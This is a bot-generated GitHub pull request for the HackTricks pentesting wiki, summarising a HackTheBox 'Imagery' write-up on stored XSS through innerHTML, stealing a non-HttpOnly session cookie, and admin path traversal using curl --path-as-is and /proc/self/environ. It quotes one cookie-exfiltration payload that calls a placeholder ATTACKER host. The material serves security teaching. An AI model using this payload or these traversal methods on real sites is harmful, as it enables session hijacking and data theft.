Open
Conversation
Collaborator
Author
🔗 Additional ContextOriginal Blog Post: https://0xdf.gitlab.io/2026/01/24/htb-imagery.html Content Categories: Based on the analysis, this content was categorized under "Pentesting Web -> XSS (stored XSS via innerHTML/template literals + partial DOMPurify) and Pentesting Web -> File Inclusion/Path traversal (directory traversal/arbitrary file read; curl --path-as-is, /proc/self/environ null-byte parsing)". Repository Maintenance:
Review Notes:
Bot Version: HackTricks News Bot v1.0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
🤖 Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
📝 Source Information
🎯 Content Summary
The post documents compromising the HackTheBox machine Imagery (Linux) by chaining a stored XSS in a bug-report viewer with an admin-only directory traversal / arbitrary file read that enables full source-code disclosure and discovery of further bugs (the post later continues into command injection, cracking, and privesc, but the provided content ends at the beginning of
api_edit.py).1) Recon: exposed services and stack fingerprinting
Two TC...
🔧 Technical Details
Stored XSS via unsanitized template interpolation into
innerHTML: if client-side code builds HTML with backticks/template strings and only sanitizes some fields (e.g.,DOMPurify.sanitize(report.id),report.name) but injects another field raw (e.g.,${report.details}), an attacker can store HTML/JS that executes when a privileged user views the page. A common exfil payload is<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>, which runs on error and leaks cookies or tokens.Turning XSS into session hijack when cookies are not
HttpOnly: if the application explicitly setsSESSION_COOKIE_HTTPONLY = False(or otherwise omitsHttpOnly), JavaScript can readdocument.cookie. In that case, any XSS in a privileged user’s browser can directly steal the authenticated session cookie, enabling privilege escalation (e.g., user → admin) without needing to f...🤖 Agent Actions
Summary:
innerHTMLflows for stored DOM XSS, including HttpOnly-disabled Flask session theft considerations, to the DOM XSS page.curl --path-as-is,--ignore-content-length, and/proc/self/environparsing in the File Inclusion guide.Tests:
This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.